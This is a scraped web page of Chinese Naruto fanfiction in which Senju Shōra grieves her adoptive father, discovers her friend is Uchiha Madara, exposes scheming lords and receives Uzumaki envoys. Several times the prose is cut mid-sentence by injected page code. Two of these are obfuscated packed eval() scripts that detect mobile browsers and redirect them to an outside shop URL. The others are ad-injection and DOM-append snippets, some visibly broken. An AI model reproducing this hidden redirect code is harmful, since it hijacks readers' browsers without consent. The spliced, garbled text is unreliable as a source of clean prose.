扑面而来的血腥气让她鼻头一酸。战甲已经被卸下,草草地扔在地上。 佛间身上的黑色衣服中间能看到更多深色的被晕染的血迹,扉间正在为他整理。 听说人死的时候最后失去的是听觉。 松萝不顾可能目睹扉间的狼狈,执意要进来,就是抱着也许佛间还能听到她说话的希望。 她压下心里那些纷杂的念头,声音坚定: “父亲,我…很强。我会活得好好的,保护自己,保护千手,我会让大家都吃饱饭,过上不用日日征战的日子……您虽然平常总是沉默寡言,但我知道是因为您不知道怎么跟我相处,您能收留我……我真的觉得自己有了家……有您做我的父亲,真的很……” 原本打定主意不哭的,她说着说着还是忍不住哽咽了起来,不但说的内容乱七八糟的,到最后像有什么东西堵住了她的喉咙,发不出声来。 她冲出营帐,对上了一双双担忧的眼神,更觉得内心情绪翻涌。 ——她得找些事情做。 医疗处有不少需要包扎伤口的人,松萝过去帮忙,一直到暮色四临,大部分人都自寻了地方休息去了。 此时在医疗处坐了许久的桃华看她歇了下来,也终于坐到了她旁边。 桃华的奶奶和柱间的爷爷是表亲,平常两家人的住所就隔了一道墙,或许桃华更能理解松萝现在的心情。 她问得有些小心翼翼:“你可还好?” 松萝扯了下嘴角:“当然不好。” 听到这话,桃华反倒松了一口气:“还能做出回答,看来不算太糟。” 松萝:“……你到底是担心我,还是担心我情绪失控把你们都打一遍啊?” 桃华诚实地回答:“当然是都有。你要是难过就哭出来,我父亲死的时候我就大哭了一场,然后就好受多了。”桃华的父亲死的时候她才十岁,自那以后她就发誓要变强。 “正哭着呢,心里。” “那可不行,要哭出来,”桃华揽过她压在自己肩上,她身量高挑,在一众身材高大的千手里面也属于高的,轻轻松松就能把松萝整个人抱在怀里,“姐的肩借你一个时辰,过期不候啊。” 松萝:……这么刻意,能哭得出来才怪了。 不过她心里确实有一事自刚才开始就一直烦忧着她。 像是桃华这样强大的女忍者应当是在主战场见过的吧。 松萝问:“听说宇智波族长是跟…同归于尽了?” “应当是,那个出血量多半也等不到救治。只是毕竟是敌方,肯定会暂时遮掩消息。” “那对面应是宇智波田岛的长子继位?我听说他有两个儿子,在战场上跟柱间和扉间打得不分胜负。” 桃华回忆起了战斗的场面:“确实如此,宇智波斑面对柱间也丝毫不落下风,这个人…很危险。他继位之后宇智波也不会变得比之前弱,长期争斗的日子倒是要持续下去了。” 她陷入了回忆,给松萝描述起了宇智波斑的样貌和招式,却没有注意到松萝再听到名字后逐渐发白的脸色。 “……一头杂草一样长发………一张小人脸,还有两道泪沟…惯常携带平造短直刀,从宽大的衣袍下拿出来偷袭…需要提防他的火属性忍术,至少有A级了……” 虽然桃华描述的时候不可避免地带上了些个人情感色彩,但讲到他实力的部分,还是原原本本,不带添油加醋的,强者总是值得人敬畏的。 最后桃华总结:“…心狠手辣…虽然他们一般都在主战场交战,但若你在别处遇到了疑似的人,还是先跑为上吧。” 她引以为豪的幻术,在开了写轮眼的宇智波面前无用武之地,这种人她一向避而远之。 桃华没有听到回答,顶了一下身边的人。 “……既然他这么‘心狠手辣’又‘实力高强’,那我还需要跑吗?” 桃华没有听出她语气里的怪异,倒是劝她在任何时候都不能放弃,虽然实力很重要,但天时、地利是可以利用来翻盘的。 松萝疲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737028|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惫地闭上眼:“嗯。你说的对。” 一个时辰一到,桃华果真将借给她的肩膀收回,留下她一个人。 松萝走到没人的地方,靠在石壁上,从忍具包里摸出一个小卷轴。 这是她从电话中得到灵感,做出来的东西。 一个可以发送求救信号和位置的一次性东西。 原理么,大约就是逆通灵术的原理。在她将血涂在卷轴之上或者卷轴被毁之时,里面封印的逆通灵术就会启动,将她封印在其中的求救信号,通灵到另一个卷轴之上,同时另一个卷轴上的封印术解封发出警示。 她虽然不知道自己什么时候跟通灵兽签订了契约,但自从发现自己能用通灵术之后,就时不时召唤一两条小蛇,次数多了,就对通灵术有了些别样的想法,一通乱琢磨,居然也给她做出了成品。 本也没打算怎么用,在她将另一个卷轴交给斑时她也只是笑闹着说“拿着吧,等我要死了就给你下个通知,也就别惦记着我欠你的饭钱了”。 但是,只要她现在毁掉手里的卷轴,知道她遇到了致命危险的斑是不可能置她于不顾的… 想到这,她又愣了一下,她居然这么相信他… 松萝摇摇头,把多余的想法挥去。 若他知道必定会赶来,除非“斑”当真是那个“宇智波斑”,在宇智波族长死后必须担当起重任无法抽身的“宇智波斑”。 她独自一人跑到林子深处,捏着卷轴寻了一处石壁靠着坐下来。 ——她当真要用这个方法来确认吗? 其实是他与否,只要在明日去主战场瞧上一眼就明了了。 可若真令这不定的情绪忍上一晚,到明日她还能稳住自己吗? ……千手松萝,你内心已经确定了他是那个“宇智波斑”不是吗? 高超的火系忍术,随身携带的短刀,长发、泪沟,名字、身量……若是两个不同的人,真的能有那么多的巧合?又恰巧住在南贺川附近? 你还需要怎么确定,还要确定什么? 他若真的抛下出了大事的宇智波一族为你赶来,你又要如何?还能继续恨他父亲杀了你父亲吗? 他若不来,你又能真的狠下心杀了他为父亲报仇吗? 假使你真的恨意上头,那你跟大哥的与宇智波结盟,归忍界一个和平的梦想呢? 呵,真是个死局。 哦,她突然想起来,大哥说过他的好友是宇智波族长的儿子… 这竟还能对上… 她和大哥是怎么了,一个两个都被宇智波“蛊惑”,认了一个敌对忍族的人当朋友。 果真是扉间所说的“邪恶的宇智波”。 松萝嘲讽地扯了扯嘴角,手指松开,小卷轴就掉到了地上,滚了滚,沾满了泥土。 然后木着脸起身。 月亮已经高挂,还差那么一丝就快满月了,映得眼前的路格外敞亮。 她一步一步,又轻又慢,月光披洒在身上,仿佛一切都被袒露在光下,然而只有她才知道,她把什么丢在了身后。 23.开战(4) * 然而没走几步,身后就传来了怪异的声响,松萝停下脚步跳到树上,隐藏自己。 两队人,总共十几个男人,深夜在密林会面是要做什么? 脚步虚浮,倒不像是忍者,衣着她看不真切但不像是平民,像是…军队? 莫非是贵族的私兵或者是家臣? 能出现在这里的到底是西谷的人还是中村的人还是两方都有? 一会儿之后,偷听到了他们的谈话的松萝就明白他们是谁了,同时内心升起一阵冷意。 西谷和中村两家斗了许久,这次战争又投入巨大,领主都坐不住了,于是派人谈判…… 原本松萝以为最多不过是这样,结果却比这更加令人愤怒。 “…西谷大人也是没想到,这群忍者这么能用钱,早在五天前就断了供给…” “…中村大人又何尝不是呢,好在两位大人及时醒悟,与其将钱付给了那群低贱的忍者去,倒不如两家结盟留着自用的号好。” “…大人听说两族族长同归于尽了,但还是不够,等他们斗得两败俱伤时,大人再将报酬捏在手里,到时候,谅他们也不敢跟大人要哈哈哈哈。” “…以后就是同僚了,要不要去喝上一杯接着聊?” “好啊,我听说中村大人好美人?不知家中小妹有没有机会…” “好说好说,喝酒时聊?前几日给宇智波传话连美酒美食都没给我准备,瞪着眼,以为自己是谁呢!” “走啊,那群蠢货忍者,怕是连酒都喝不起吧哈哈哈哈!乡巴佬!” 松萝听到后来直接气笑了,他们两族在战场上拼命,委托人却在策划着让他们怎么死得更干净些好赖掉付报酬一事,连他们的手下都这么嚣张,随口就是侮辱的话语。 他们有什么资格! 不过是一群脑子里装着屎尿的臭虫!也配? 松萝跳下树,拦在十几人面前。 那个话多的西谷的家臣看清了她护额上的纹路:“你是…千手的人!你偷听?” 另外的人见她表情,便知她全部听了去。 “那就只好让你死在这里了。” 松萝这回是真的笑出了声。 瞧瞧这群人,愚蠢、自大,她或许还要感谢他们,在她看到佛间的死和发现斑的身份之后无处发泄的情绪,终于有了——泄愤的对象。 …… 当最后一个人交出身上所有东西并写下证词自杀后,松萝将东西收了起来,并召唤了一个分身回去喊柱间和扉间过来。 让他们看看这情景,看看这仗接下来要怎么打,对谁……打。 只不过,她没想到的是,先出现在她面前的会是她现在最不想见到的人。 来人穿着一身黑色紧身服,光着脚,倒不似以前每次见面那么从容,脸上的疲惫和倦意也很明显,手上缠着的绷带还在隐隐往外渗血。 她的目光往之前扔小卷轴的地方看了一眼,那边躺着一个被她特别的手段吓到逃跑后被她杀死的人,身下大片的血迹也沾上了小卷轴,她重重地闭眼又睁开,明白为什么这人会出现在这里了。 ——沾上血迹就会自动逆通灵发送自己的“死亡讯息”的小卷轴啊。 松萝定定地看着来人,双手抱臂,言语间满是讽刺:“初次见面,宇智波斑。” 他不言语,视线从露面时就一直定在她额头。 松萝不禁顺着他的目光抚上额头,等触到冰凉的东西时,才想起来什么,又是讽刺一笑:“大名鼎鼎的宇智波族长长子,不会不认识千手的族徽吧?” 他终于从那里收回目光,再次看向松萝时,是从未见过的冷酷和狠戾:“就凭你一个人,抓不了我。” 他竟以为自己是设了陷阱要抓他,松萝不知道是该气还是该气。 “抓?斑大人怎么不想得更多一点,比如,我是来杀你的?” 他的两道剑眉狠狠撅在一起,他确实从她刚刚的话里感受到了杀意,一时不知道该如何选择。 发现卷轴示警之时,他是真的慌乱,匆匆结束了和泉奈的对话,扯下带有宇智波家徽的外袍,只穿着里面的紧身服就一路奔了过来。 远远闻到血腥味的时候,他的怒意和惧意同时涌上来,最终只剩下害怕和祈求,祈求她不要出事。 所以当他看到安然无恙只是身上沾了点血的松萝时当真是松了一口气,直至他的目光落在他头顶的千手族徽时,斑愣住了,而后只能联想到——是她设了局要抓他。 但是他很快就否定,如果要设局不会这么粗糙,不会只有她一个人,不会在看到他时显示出惊讶,至于地上的尸体,他压根没多看一眼。 看来他出现在这里是个意外,但是……他是宇智波,她是千手这件事不是意外,是铁铮铮的事实。 白天,他的亲生父亲才刚刚死于千手之下。 千手的族长死于他父亲手里。 也许是因为这样,她才会有那丝杀意。 “因为我的父亲杀了千手族长吗?”所以你就想要杀我吗? 松萝闭上眼,她觉得有必要告诉他:“千手佛间是我的养父,从我六岁到十六岁,我每一天都把他当成是我的亲生父亲。” 斑一愣,她确实说过,她从小被收养,那家人对她很好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741172|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她不想再跟斑扯这些杀父之仇、宿敌之仇,而是甩了一份东西给他。 “你来得正好,自己看吧。” 她甩过去的是一份证词,十几人中总有那么几个软骨头在她威逼之下愿意用这个换少受点苦。 “这一份你可以拿走,然后离开这里。我已经通知了族人,很快就要来抓你了。” 她还在气他以为自己设局抓他。 斑大致扫了一眼,神情微变,听到她的后半句话,又皱上了眉头。 她的眼睛很红,像是刚哭过。 为谁而哭,可想而知。 他是始作俑者。 宇智波斑没有多留,留下一句“他们不是来抓我的,你也不是”就走了。 松萝留在原地,微微有些怔住,脑海里是斑光着的脚上被树枝划出来的痕迹。 以她对斑的了解,刚刚那句是在解释,不,是在道歉误会了她,但是他的高傲又不许他直接说对不起,就只能以那样的一句话说“他相信她不是来抓他的”。 其实斑又做错了什么呢? 是她因为意外把人招了来,是她一上来就讽刺人,归根结底,是两人身份的对立,相处和情感并没有错,甚至连两人的痛苦和代价都是相似的,她有什么能怨的。 松萝蹲下,把头埋进膝间。 她好想问问大哥是怎么做到那样子的。 ——大哥,若是你在战场上再碰到那个宇智波,你还会把他当’好友‘吗? ——会。但我们也会认真厮杀。 可她做不到啊。 她没有办法再视斑为好友,也没有办法与他厮杀。 她好软弱。 * 斑离开后不久,她的分身也领着柱间和扉间赶到,了解情况之后,两人的表情一下子变得很凝重。 他们收拾了残局回去后,立刻召开了会议。 第二天早上天刚蒙蒙亮,几个身影飞向西谷领主的城堡。 第二天中午,又开了一次大会。结束后,一名忍者带着“战时暂时休战协议”和一些搜罗来的证据奔向了宇智波族的方向。 第二天晚上,使者平安带着签了字的协议归来。 至于接下来千手会如何对待西谷领主,宇智波又会如何对待中村领主,就不是太美妙的事情了。 杀是不能杀,恐吓加敲诈是可以的,只要不留下把柄。 松萝听着扉间做的那些安排,唏嘘地感叹他不当反派都浪费了他的才华,换来一记白眼和报复性的苦力任务。 两日后,千手和宇智波撤离了战场,厚葬了在这场战争中死去的族人。 24.番外-错过的花灯节2 * “撒谎的人要吞千根针。” 被咕了这件事虽然是生来头一遭,但宇智波斑并没有真的要对方“吞一千根针”的想法。 没等到人的第一个念头是她被绊住了。身为忍者,被紧急派任务也是常有的事。 只要她来不了的原因不是因为重伤和赴黄泉,他都可以平静接受。 只是斑稍微有些怅然地发现,自己居然没有联络她的方式——一直以来都是松萝单向让那只猫过来传话送信而已。 不过这样也好,忍者不应该被情感牵绊,更何况是一个没有交换过姓氏的人。 淡淡的交往便好。 这样,哪一天他或她消失了,也只会感叹上几句世事无常,不会影响到日常生活了。 翌日,少年避开弟弟,在陆见镇乱逛。 陆见医馆,无人。 秀丽衣坊,无人。 淮记牛肉汤,无人。 福来运转阁,无人…… 南贺川,无人…… 他在意识中清醒地给两人的关系定了位,行动却并不能按照想法进行。 他将此归结于初次被放鸽子的愤怒与好奇,并接连十数天都在陆见镇、南贺川进行“乱逛”行为。 并在某一天午时,十分“偶然”地在牛肉汤店门口遇见了鸽子精本人。 鸽子精瞪大眼睛、张着嘴巴,明显没做好遇到他的准备。 他到嘴边的话突然就转了个弯儿:“为什么大半年都没有消息?为什么许了‘下次请吃饭’这种约定却不兑现?” 鸽子精几不可察地咽了咽口水,用问题回答了他的问题:“那我请你吃完这顿饭之后,能别再来找我了吗?” 那是认真的带点疑惑的询问。他分辨得出来。 宇智波斑直直地盯着她,不言不语,随后低下头,掩住变红的双眸。 斑本打算就此结束与松萝的相识,却没想到出了意外。 他这几天的机械性行为引起了他人注意,不巧,这“他人”正是他上一个任务中的敌人的伙伴。 讽刺的是,这群人向他发起偷袭的时候,他的写轮眼正好控制不住被激发了。从哪个位置、几个人、什么暗器,在他的写轮眼之下都一清二楚。 八个人,三个方位,三把手里剑,两把射向他,一把射向…… “啊!”利刃刺入胳膊,松萝完全没有反应过来,惊呼一声。 看到她手臂的衣服因血迹而被染成深色,斑面上竟露出一丝快意。 但是很快他就笑不出来了,八个人将他和松萝视为一伙,招式狠辣,包围了两人。街上的其他人早已害怕地跑走了,斑瞥了一眼严阵以待却不自觉向他靠拢了一些的少女,眼底染上一些烦躁。 “走。” 带伤跟八个成年人对上不是明智的选择,他放出烟雾弹遁走,临走前还是拉了身边的人一把。 * 他们在林中逃跑的时候,老天爷也帮了一把,用大雨冲刷掉了两人逃跑的踪迹,连同遗留下来的气味。 但也因为雨势过大,不得不找了个山洞暂避。 山洞内部阴冷又潮湿,洞口的石壁上长着碧绿的青苔。 松萝在近处寻了些高大的植株埋在洞口,既当作遮掩,也可抵挡风雨飘进来。 做完一切,她借雨水冲刷掉手掌中的泥土,一边挤着头发的水一边往里走。 “斑?” 她只能看到一个跟黑暗融为一体的身影,一动不动盘坐着。 她走近一看,发现斑坐得笔直,双手置于两膝之上,不由得嘀咕:“这也太淡定了吧,这种时候还有心思打坐。” 看着他笼罩在黑暗中的样子,松萝不知怎么的想起了在镇上他看自己的眼神,不敢再多言语,远远地靠墙坐下了。 外面的雨淅淅沥沥地下,雷声隆隆,洞内却安静无比。 不知过了多久,原本已经朦胧的意识被手臂上细细密密的痒意唤醒,松萝抬起眼皮,与一只一指长的蜘蛛眼睛对眼睛。 “啊——唔”惊叫刚起了个头又被她自己忍住了,他们还在躲避追杀中。 她甩掉蜘蛛,用石子将其砸死了。 湿衣带来寒意涔涔,抱膝坐在原位,松萝突然感到有点委屈。 她吸了吸鼻子,头偏向里侧,捡起小石子往那个进来后就没有换过动作的人身上一扔。 “砰。” “打坐”的人直直地倒了下去。 啊? “斑?” 感觉事情有些不大对头,她走近少年,但是这里面实在是太黑了,她只能用双手去摸索。 好烫! 触摸到他发烫的脸,松萝就知道他发烧了。此时也顾不得燃火可能会引来敌人了,反正雨还没停,应该没那么容易找来。 火堆被架起,暖黄色的光顿时照亮了整个山洞,也照亮了斑惨白的脸色。 穿着湿衣服可不行,她小时候有一次就是从河里游泳上来没立刻弄干衣服导致感冒的。松萝伸手探向斑的衣领。 “你要干什么?” 一只手横向出现,攥住了她的手腕。 松萝解释:“你病了,穿着湿衣服会更严重的。” 斑吃力地抬了抬眼皮,手上的力气没有松:“不用。” “你在逞强什么!”松萝心里急死了,硬要挣脱他的钳制去扒衣服。 斑皱眉抵抗,眼看就要揪到衣领了,他终于抑制不住烦躁,全力打开她的手臂,吼道:“跟你没关系!” 松萝被他推倒在地上,被他打开的那只手臂先前就受了伤,被甩了这一下,手臂上传来钻心的疼。 好像疼又好像没那么疼,松萝怔怔地望着少年出神。 山洞里安静了几秒,压抑的呼吸声显得尤为粗重。 最终,她艰难晦涩的声音打破了宁静:“花灯节,你去了吗?” 没有回应。 她接着说:“我没有去。并不是因为去不了,而是因为我不想去。” “……” “所以如果你生气了的话,等出去了再跟我算账好吗?” “我没去。”话刚说出口,斑就在心底懊恼了一下,他本来打定主意不再理会的。 但是得到他回应的松萝却觉得自己得到了允许,再次去扒他的衣服。果然他也没有反抗。 深色的外衣被脱下,露出白色的绷带,从肩膀一直缠绕到腰腹。中间晕染开的血团好像在诉说此人发烧的原因。 “你什么时候受伤了……绷带也都湿了……” “嗯……” 他脸色潮红,躺在地上任松萝所为,一看就是烧得不清醒了。 松萝一边解他的绷带,一边翻白眼:“刚刚那股劲儿呢,怎么现在又只会哼哼唧唧了,受了这么严重的伤也不说,怪不得一个石子就被砸倒了,真没用!万一等会儿被发现了就是个炮灰的命……” 她解绷带的手忽然顿住。 随即改为在他腰间摸索,直到翻出两个不同颜色的小瓶子。里面都是粉末,不知道有什么不同。 松萝拍拍斑的脸颊,问:“醒一醒,哪个是伤药啊?” 他吃力地辨认:“红色的是伤药,绿色的是迷药。” “哦。” 她打开红色的药瓶,撩起袖子,把药粉全都涂在了自己被暗器伤到的地方。 然后暗道一声对不起,把绿色瓶子里的粉末撒在了神智不清的斑的身上…… * 宇智波斑醒来的时候,还在那个山洞里,雨小了很多,再过不久就要停了。 腿上像被什么重物压着,他缩了缩腿,就看到一个昏迷的人脸朝地砸向了泥地。 衣服和绷带都是被解到一半的状态,地上散落着一红一绿两个小圆瓶。他抬起手嗅了嗅,随后走到松萝旁边,目光定在她撸起到一半的袖子,拿起她的手臂也嗅了嗅。 “呵。” 他知道是怎么回事了。 细嫩瘦小的手臂从掌中滑落,砸在地上,溅起脏污的泥水,他嫌弃地退开。 刚才松萝问他两个瓶子里哪个是伤药的时候,他耍了个心眼,反着回答。其实绿色的才是伤药,而红色瓶子里是族中特制的迷药。 不怪他小心,实在是忍者的世界充满了谎言和背叛。 雨停了。 里外都安静极了,宇智波斑松开紧捏的拳头,重重的一阖眼,再睁开时已经替换成红色的写轮眼,只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身一人离开了山洞。 * 松萝是被水泼醒的,她被绑在树干上,八个人围着她,面色不善。 她醒来时还有点懵,她记得自己刚刚把迷药给斑撒上,然后……然后她就记不清了。 “我们找到她的时候,只有她一个人,好像是中了迷药,倒在地上怎么也叫不醒。” “迷药?他们俩难道不是一伙的吗?” “喂!跟你在一起的另一个小鬼呢?” “问你话呢,怎么呆头呆脑的?” 于是她又被泼了一脸水,真够冷的。 她呸掉嘴里的水,装作害怕的样子:“你们说的是谁啊,我我,我不知道,那个超凶的少年,我根本不认识他啊……我在路上突然被他搭话,然后就被他拽走了……” 冰冷的刀面拍在脸上,他们对松萝的扯谎一点没信:“拽着个不情愿的人还能跑得比我们快?别说笑了!你也是忍者吧,说吧,不然什么样的下场你自己应该也能猜到。” 一招没用,她立刻换脸:“你们!你们知道我是谁吗?你们这样对我,我父亲不会放过你们的!” “说来听听?” 下一秒,喊声响天动地,惊得鸟儿都飞出了巢:“我的父亲是大名鼎鼎的宇智波田岛!敢动我,你们就死定了!!!” “哈哈哈哈哈哈哈哈哈哈!” “这家伙在说什么哈哈哈!” “喂,小丫头”,为首的男人点了点她脑袋,“先不说田岛那个混蛋没有女儿,如果真的是,那我们一定会把你抽筋扒皮把你送回他面前,才能解了他灭我全族的仇恨!” 松萝:……啊? 他眯了眯眼,对着下方狠狠踢了一脚,听到痛苦的叫声,才挖挖耳朵继续威胁:“我劝你不要拖延时间了,再多一句废话,就废了你另一条腿。” 该死,绑她的绳子到底有多少层,她暗地里割了那么久还没割断。 正想着用什么假消息糊弄一下的时候,她瞳孔一缩,目光里,站在最后面的那个人毫无预兆地往一侧倒去,同时一个黑影摸上了另一个人的脖子。 是他!他回来救她了! 为首的人反应最快,回头阻止了第二个人被暗杀。 一对七的战斗立刻就打响了。 宇智波斑灵活地避开攻击,抓住动作最慢的人当作肉盾。他的表情冷硬,眼神淡漠,没有喜恶。 他也不知道自己为什么要回头。 也许是为了问一句为什么。也许是为了灭口。也许就是想打架了。 谁知道呢。 九死一生,但还是有个生字。他是宇智波斑,绝不会输给这些小人物。 …… 伤口的痛已经麻木了,他带着半身的血,走到了树干前。手一挥,绳索被齐齐斩断。 他似再也撑不住一样向前倒去,松萝急忙抱住,用身体撑住他。 “斑!斑!” 他感到自己被平放到地上,她的声音似乎很焦急。 “这么多血!怎么办!我止不住……怎么办啊……” “斑!你相信我!你相信我!我一定救你!” ——相信你?相信你把迷药撒我身上吗?他不会再相信了……他只是为了解决自己的敌人回来的而已……绝不会将性命交到背叛过他的人手中…… 模糊的视线中,他看到松萝充满担忧的眼神,因为担心,眼周开始发红,鼻子抽动了两下。 ——算了……不管他相不相信,他都没有力气反抗了……这样的结局,真的太逊了……最后看到的人居然是一个连姓氏都不知道的人…… 忽然,他睁大眼睛,瞪向半空中,她高高举起的手上——一块脑袋大的石头。 失去意识前的最后一幕,是沾了泥巴的灰色石头瞬间在眼前放大的样子。 ——我要杀了你!! …… 确保斑被她砸晕但还留有一口气的松萝,从那几个还没死透的人身体提取出最后一点生命力,变成短草喂到了斑的口中。 抱歉,大哥二哥再三叮嘱过她,甚至让她发过毒誓,不能在族人以外的人面前这样救人。 ——他都晕过去了,应该就不算是违背誓言了吧。 25.漩涡来访 又过了五日,涡之国漩涡一族来访,只不过接待的人从柱间和扉间换成了扉间和松萝。 漩涡一族一行七人,除一位较为年长以外,均是青年,三男三女,皆为红发。只是不久,扉间就被人叫走,只剩下松萝一人坐在被漩涡一族包围的席间。 本来是二对六两排相对的酒席,漩涡一族的年长者早就与他们分开,找认识的千手的长老们叙旧去了,扉间走后,就只剩下松萝一对六。 松萝放下手中的茶杯,磕在面前的矮桌上,没有发出一点声响。随后换上酒杯,举杯致歉。 好在漩涡的年轻人们都很善解人意,都表示“理解理解,毕竟是这种时期”。 前任族长战死,下任族长还未继位的焦头烂额的时期。 漩涡一族为首的青年,长着一副雌雄莫辨的俊脸,但头顶只留了不到两指长的短发,将他的气质一下子拉得阳刚了不少。对方是族长漩涡芦名的二子漩涡奚山,他身边的少女是他的妹妹漩涡水户。 六人之中竟有两人是对方族长之子,就算全是青年的队伍,也显出了对方对千手的看重,尤其是在千手失去了族长的动荡之时,这样的信任尤为可贵。 他回敬一杯:“倒是我们不是,选在这种时候过来,给你们添麻烦了。” 松萝:“是这边的邀请在先,你们不过应邀而来,我们却招待不周,真的很抱歉。” 如此推拉两三回,便也绕过了这个扉间突然离席带起来的话题。 也许是少了扉间这个冷面大王,也许是喝了些酒,席间的气氛逐渐活泼轻快了起来,对话也开始延伸。 “……那我们倒是有福气目睹千手族长的继任仪式了。” “后日早上我来带你们去观礼,不过应当没有什么特别的。”松萝觉得这点要求还是可以满足他们的,而且并没有什么需要秘密传承之物,都只是场面功夫罢了。 最小的漩涡族的女孩听到了先是很开心,紧接着苦恼起来:“啊,可是我没带族服过来,就穿这一身衣服会不会很失礼啊?” 她圆嘟嘟的,令人生出亲近之意,松萝也不禁带上了笑意:“不碍事的,我倒觉得你这一身红衣服更好看,不然到时候清一色的白羽织灰纹袴,看着才无趣呢。” “那就好。” 再然后,就这前阵子的与宇智波的争斗和背后搞事贵族的始末,又简单聊了聊。 漩涡奚山听了贵族做的这般事情,也是极为不喜,于是转换话题:“千手小姐可知我们这次来的目的?” 松萝一惊,这也是能跟她随意谈论的东西吗,她没参与过族内事务的管理,这次也只不过是分不出人手让她帮忙在生活上招待一下罢了,她摇摇头:“不知道。” 顿了一下又问:“难道不是忍术交流之类的?”总不可能是单纯的走亲戚吧,都是远了不知道多代的亲戚了。 这下对面六人都带上了笑容,漩涡奚山脸上还带了一丝尴尬,欲言又止。 他身边的漩涡水户便帮他接过了话头:“松萝大人,我们年岁相仿,我直呼您的名字可好?” “当然可以。” 水户的头发是深水红色,扎成两个丸子缀在脑后,中分的刘海用蓝色的细长发夹固定,露出温和如絮的双眼,她问:“我今年十六,生日在皋月,你呢?”皋月即五月。 松萝以为她要说来的目的,却不想问起了这个。 “我今年十六,生日在三月。” “原来是松萝姐姐。姐姐可有心上人?” 松萝:? 松萝:“……无。” “那姐姐可有喜欢的类型?”她说着往身边的人投去暗示性的一瞥。 松萝:…… 这她还有什么不明白的。感情你们漩涡大老远跑来是来相亲的!!不对,是千手佛间请他们来相亲的! 她想起了当时佛间命柱间和佛间来接待时意味深长的一眼,这这这原来是给他俩安排的相亲局!!!结果没想到这差事落到了她头上,奚山和水户他们一定以为自己是…… 大哥误我,居然把我扔进了这个火坑,二哥还一个人跑了。 虽然她怀疑这两人也不知情,定是跟她一样以为是政事上的来往。 “啊,这个…并没有什么特定的类型,就是……”明白之后脚下的垫子就突然发烫了起来,几乎要烧着她的屁股,“不要有什么不良嗜好吧……” 若她一开始就发现了,直接用一句“我有喜欢的人”回绝了便好,现在这样倒是有点难做,她实在没多少这方面的经验…… “我想到了!还有那么一些小小的要求!”她突然灵光一闪,想到了一个好主意。 “我的心上人,他要面若桃李,眼神灿若星河,身高一米八,腹肌八块八,不嗜赌不毒舌不傲娇,上得了战场进得了厨房,会撒娇会哄人,打不还手骂不还口,还有最重要心里只能由我一个人。”说到后来,松萝自己都陶醉其中,这样的完美的男人现实中哪里有啊。 不过这样应该差不多了,他们应该不会打自己的主意了。 果然,水户听了她的话,慢吞吞地吐出一句:“松萝姐,要当你的心上人挺……不容易的。” 松萝在内心偷笑,不过面上她还是装出一副遗憾的样子:“唉,可能是我要求太高了吧,所以至今没有遇上喜欢的人。” 也不知他们是听出了自己的拒绝之意还是被那一大段的要求吓到了,三个本来话还挺多的漩涡青年变得沉默,倒是三个女孩开始向她打听族里的青年才俊,问得最多的还是大名鼎鼎的千手柱间和刚才惊鸿一瞥的千手扉间。 “为什么扉间大人脑袋上要带一个……那样的东西?吃饭也不摘下来吗?”问话的女孩在脸上比划了一圈,看上去这个问题憋了很久了。 “哈哈哈哈哈哈!” 松萝无情地笑起来,她早知道会有一天被人追问这个问题。 “在家中会摘下来,不过有时候也会忘记,出门是一定会带上的。作用嘛,主要是保护脸和挡桃花哈哈。” 千手扉间遗传了他母亲的肤白貌美,在小的时候就初见端倪,到15岁行了元服礼之后,在人群中越发显眼。 每次上街不乏大胆的女子以各种方式拦住他的路,甚至红着脸倒在他怀里,她还记得有一次扉间忍无可忍,拉过身边的柱间与他亲密十指相扣着招摇过街的样子,那时路上行人的怪异目光和女子避而远之的行为简直乐死她了。 因此后来本来只是当护具用的护额也变成了日常佩戴的饰物。 “你们好奇?下次遇到我让他摘下来给你们看?” “好啊好啊!” 女孩们说到好看的男人就兴奋,迅速建立起革命友谊。 等吃得差不多了,天色也不早了,松萝就领着他们去安排的屋子休息。 “出门右拐就有值守的人,有事可以让他们来传达给我。那么明天我再来带你们逛,好好休息。” 她将人都送进院门,叮嘱几句后离开。 走了没几步,就有脚步声跟上来,是漩涡奚山。 他说:“我送你回去,天黑了一个女孩子不安全。” 松萝:…… 这借口太烂了,谁会在自己家族领地里遇到不安全的事情啊。 但她也没有拒绝,漩涡奚山单独跟上来,指不定是有什么事情要说。 此时天刚黑不久,路上还有不少人,谁也没开口,静静地走着。 “松萝大人对于漩涡和千手的关系是怎么想的?”待到一个人少寂静的地方,漩涡奚山停下脚步。 “远亲和盟友?” “没错,是盟友。”他很高,比松萝高出了一个头还要多,看向松萝时微微低头,精致的五官在极近距离看到时比之前更有冲击力。 他的嗓音清冷有力,听着很是舒服。 奚山的瞳孔是红色,在一圈都是黑眼珠子的漩涡一族之中也是很特别,很容易让松萝联想起扉间。都是族长的二儿子,都是红瞳,都善辞令,都…对外人散发有着拒人于千里的冷意,也许他有意掩饰这一点,但松 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 萝还是感觉到了。 